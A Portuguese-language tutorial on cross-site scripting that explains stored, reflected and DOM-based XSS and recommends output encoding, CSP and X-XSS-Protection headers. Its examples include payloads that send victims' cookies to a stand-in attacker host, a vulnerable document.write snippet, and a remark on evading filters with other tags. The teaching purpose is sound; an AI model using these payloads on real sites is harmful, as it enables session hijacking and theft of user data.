Por Gabrielle Delgado

O Cross-site Scripting, também conhecido como XSS, é um tipo de ataque de injeção de código no lado do cliente, explorando recursos de navegadores web. Atacantes podem executar scripts no navegador das vítimas com o objetivo de sequestrar sessões de usuários, modificar a aplicação, redirecionar o usuário para sites maliciosos, entre outros. O XSS vem constantemente sendo incluído no OWASP Top Ten Web Application Security Risks, fato que reforça a relevância de se preocupar com tal problema.

De modo a obter uma visualização um pouco mais real dessa falha, imaginemos, por exemplo, um blog online, no qual é possível escrever comentários nas postagens para que haja uma interação entre os visitantes e os autores das publicações. Nesse blog, ao escrever um comentário em uma publicação, a requisição realizada é a seguinte:

POST /publicacao-xpto/comentario HTTP/1.1
Host: blog-vulneravel.com.br
Cookie: sessao={VALOR}

mensagem=Me+identifiquei+muito+com+essa+publicacao.

Feita a requisição, um comentário é adicionado à publicação. Diante disso, acessos posteriores à página terão uma resposta retornada pelo servidor da aplicação semelhante a:

HTTP/1.1 200 OK
Date: Tue, 18 Apr 2021 10:37:03 GMT
Server: {SERVIDOR}
Connection: close
Content-Type: text/html;charset=UTF-8

<html>
	<head>
		<title>Blog Vulnerável - Publicação</title>
	</head>
	<body>
		<div id=”comentarios”>
			<p>Me identifiquei muito com essa publicacao.</p>
		</div>
	</body>
</html>

Agora, levando em conta que esse blog esteja vulnerável a XSS no campo dos comentários, uma vez que um atacante queira usufruir desta falha, ele poderia submeter um comentário mais ou menos assim:

POST /publicacao-xpto/comentario HTTP/1.1
Host: blog-vulneravel.com.br
Cookie: sessao={VALOR}

mensagem=<script>document.write(‘<img+src=”https://servidor-atacante.com/’%2bdocument.cookie%2b’”/>’)</script>

Note que foram adicionados elementos HTML que induzem a aplicação a escrever na página o src https://servidor-atacante.com/+document.cookie” para uma tag img.

Com isso, tendo em vista que os cookies dessa aplicação não contém a flag HttpOnly configurada, o atacante estaria passível de coletar os cookies das pessoas que entrassem na publicação, na qual foi submetido o comentário em questão.

Vale destacar ainda que, no caso de uma das vítimas de um XSS ser um administrador ou algum outro perfil com privilégios diferenciados, o impacto do ataque pode ser ainda maior.

Dado um entendimento geral do que é o Cross-site Scripting e seu valor para indivíduos maliciosos, adiante veremos sobre algumas variações, sendo elas: XSS refletido, XSS persistido e XSS DOM-based.

XSS Refletido

O XSS refletido é a variação mais simples desse tipo de vulnerabilidade. É chamado dessa forma, pois sua exploração envolve realizar uma requisição contendo o script que será refletido para aqueles que a executam, ou seja, o payload é enviado e retornado em uma única requisição HTTP.

Como exemplo, consideremos uma aplicação de e-commerce e um usuário autenticado realizando suas compras. Supondo que, a partir de um ataque de phishing bem sucedido, esse usuário (vítima) acesse a seguinte URL construída pelo atacante:

https://www.ecommerce.com.br/produtos?buscar=<script>document.location="https://servidor-atacante.com/"%2bdocument.cookie</script>

Caso o valor do parâmetro “buscar” na URL anterior não seja devidamente tratado, em um caso de XSS refletido, tal requisição gera uma página HTML que contém o seguinte trecho HTML:

<p><script>document.location="https://servidor-atacante.com/"+document.cookie</script></p>

Quando essa página for renderizada pelo navegador, o código apresentado anteriormente será executado e o usuário será redirecionado para uma página do atacante e o servidor do atacante receberá os valores dos cookies do usuário, comprovando assim a presença do XSS refletido.

Dessa forma, o XSS refletido surge no momento em que a aplicação recebe esse dado na requisição HTTP e o inclui, de maneira insegura, na resposta.

XSS Persistido

Essa categoria do XSS surge quando um usuário consegue armazenar dados na aplicação, que serão disparados para outros usuários sem o devido tratamento. O XSS persistido ocorre, normalmente, em aplicações que realizam compartilhamento de informações entre diferentes usuários.

Diferente do refletido, o XSS persistido envolve pelo menos duas requisições. A primeira requisição contém os dados com códigos maliciosos, que serão guardados pela aplicação. A outra requisição corresponde à visualização da vítima, na qual o código malicioso é executado. Essa vulnerabilidade está ilustrada na primeira sessão deste texto, no exemplo de comentários em posts de um blog.

O XSS persistido possui um agravante na perspectiva de segurança, tendo em vista que nesse caso o atacante precisa apenas esperar que a vítima acesse a página ou funcionalidade que contém o script malicioso. Além disso, a depender de onde acionado, pode se ter garantia de que a vítima estará autenticada na aplicação no momento em que o ataque é executado com sucesso.

XSS DOM-Based

O XSS DOM-Based (ou XSS DOM) ocorre quando a aplicação contém scripts executados no lado do cliente que processam dados de um recurso não confiável de forma insegura, escrevendo esses dados no DOM (Document Object Model). Diferentemente dos anteriores, esse tipo de XSS não ocorre quando dados controlados pelos usuários são retornados de forma insegura na resposta do servidor. Nesse caso o código malicioso não irá ao servidor, uma vez que ele ocorre via client-side, interpretando os dados manipulados e gravados como parte do DOM, no navegador.

Esse fato ocorre quando um script emitido pela aplicação é capaz de extrair dados da URL, por exemplo, processar esses dados e, então, usar isso para atualizar dinamicamente o conteúdo da página.

A título de ilustração, supondo que a aplicação retorna uma página com uma mensagem de erro mais ou menos assim:

<!DOCTYPE html>
{...}
<script>
    var query = window.location.search;
    var params = new URLSearchParams(query);
    var result = params.get("mensagem");
    document.write(result);
</script>
{...}

Esse script extrai o valor do parâmetro mensagem que está presente na URL e escreve esse valor no código HTML da página. Se um atacante configurar essa URL, atribuindo script para esse parâmetro, esse código vai ser dinamicamente escrito na página e executado.

Correção

Proteger e prevenir uma aplicação contra ataques de Cross-site Scripting requer uma identificação minuciosa de cada ponto na qual um usuário tem controle dos dados a serem manipulados. Dessa forma, para proteger sua aplicação de tal vulnerabilidade, o recomendado é que todas as informações vindas de terceiros sejam avaliadas na saída e que todo e qualquer caracter especial seja convertido para um conjunto específico de caracteres chamado de HTML Entities.

Ainda, esses dados podem, também, passar por uma avaliação semântica, bem como evitar a manipulação via script do DOM, a fim de trazer uma verificação/proteção extra desses dados provenientes da aplicação.

Todavia, vale destacar que, em uma tentativa de tratar esse problema, o back-end da aplicação pode tentar evitar a exploração fazendo com que esse determinado código malicioso (também chamado de payload) não funcione. Isso pode estar sendo feito, por exemplo, com a aplicação ou firewall da aplicação identificando um possível ataque e, com isso, ela bloqueia o valor de entrada do usuário. Contudo, o atacante pode investigar quais caracteres ou expressões estão sendo bloqueadas pelo filtro, apagando diferentes partes de seu script. Feito isso, ele vai tentar buscar qualquer subversão existente para esse filtro.

Outro exemplo seria a aplicação aceitar a entrada, mas realizar uma “limpeza” ou determinado encoding no texto. Porém, filtros de sanitização mal implementados são meios de tentativa de proteção bastante comuns. Assim como mencionado para o firewall, o atacante pode ser capaz de descobrir os caracteres e expressões bloqueados nesse filtro e analisar se ainda é viável um ataque sem empregar diretamente esses caracteres e expressões. A título de ilustração, se a aplicação está removendo a tag <script>, o atacante pode usar uma tag HTML diferente que consiga alcançar o mesmo resultado, como na execução de scripts em eventos de diferentes tags. Um ponto que merece destaque nesses casos de tratamento na entrada de dados da aplicação é a possibilidade de dados antigos terem sido armazenados com payloads maliciosos antes mesmo da implementação desse controle de dados provenientes dos usuários, sendo, assim, ineficaz um bloqueio ou sanitização apenas na entrada.

Por fim, com o intuito de diminuir os impactos causados pelo XSS, também é possível adicionar uma camada a mais de segurança e se utilizar dos cabeçalhos Content-Security Policy (CSP) ou X-XSS-Protection.

O cabeçalho de resposta X-XSS-Protection deve ser utilizado para o caso de a aplicação dar suporte a alguns navegadores legados, ou seja, navegadores que ainda não suportam o cabeçalho CSP. Ele vai impedir que páginas sejam carregadas quando forem detectados ataques de scripting entre sites, de maneira refletida. Idealmente, recomenda-se configurar o cabeçalho de modo que a filtragem XSS seja habilitada, bem como a renderização da página em que o ataque foi detectado seja impedida, sendo implementado da seguinte maneira:

X-XSS-Protection: 1; mode=block

Apesar de alguns navegadores suportarem o X-XSS-Protection, atualmente a recomendação é de utilizar outro cabeçalho HTTP mais adequado e suportado por uma maior variedade de navegadores. Nesse caso, para os navegadores modernos, deve-se utilizar o cabeçalho de resposta Content-Security-Policy (ou CSP),  que permite aos administradores do site bloquear o acesso a recursos que violem a política estabelecida, impedindo atacantes de incluir scripts maliciosos a partir de domínios não confiáveis. O cabeçalho pode ser configurado de modo que seja permitido carregar scripts e imagens apenas a partir da mesma origem, como indicado a seguir:

Content-Security-Policy: default-src ‘self’

Outra maneira de configuração desse cabeçalho seria utilizar uma lista de domínios confiáveis, a fim de incluir recursos de outros domínios. A título de ilustração, a seguinte configuração permite incluir qualquer tipo de recurso da mesma origem e, também, de “dominio-confiavel.com.br” e seus subdomínios:

Content-Security-Policy: default-src ‘self’ *.dominio-confiavel.com.br

Dado o que foi abordado, alguns métodos adotados para proteção contra o XSS podem ser subvertidos de diversas maneiras, uma vez que o atacante vai tentar entender como o back-end está se comportando. Dessa forma, como dito na primeira parte desta seção, as informações vindas de terceiros devem ser avaliadas na saída e qualquer caracter especial deve ser convertido em HTML Entities. De modo a se proteger de vulnerabilidades do tipo XSS DOM Based, a aplicação pode evitar utilizar scripts client-side para processamento dos dados do DOM, evitando inserir esses scripts nas páginas da aplicação.

Conclusão

No decorrer desse texto, pudemos analisar o que é o XSS e como suas variações se diferem e comportam. Vimos também que o modelo mais eficiente consiste em converter os dados para HTML entities na exibição, impedindo a interpretação de tais dados como scripts a serem executados no contexto da aplicação. Apesar de ser interessante, não basta a aplicação realizar determinadas filtragens ou validações na entrada, pois muitas vezes pode haver uma subversão que irá levar ao comprometimento da mesma.

Além disso, os dados podem ser semanticamente validados, reforçando a robustez da aplicação. Também é importante evitar a manipulação via script do DOM quando utilizando dados provenientes dos usuários.

Adicionalmente, foi visto que é possível adicionar uma camada a mais de segurança nas aplicações e se utilizar dos cabeçalhos de resposta Content-Security Policy (CSP) ou X-XSS-Protection, podendo impedir a inclusão de scripts maliciosos a partir de domínios não confiáveis.

Referências

PortSwigger WebSecurity Academy. Cross-site scripting. Disponível em:  https://portswigger.net/web-security/cross-site-scripting. Acesso em: 17/11/2021.

STUDDARD, Dafydd; PINTO, Marcus. The Web Application Hacker’s Handbook: discovering and exploiting security flaws. 2. ed. Indianapolis: John Wiley & Sons, Inc., 2011. 853 p.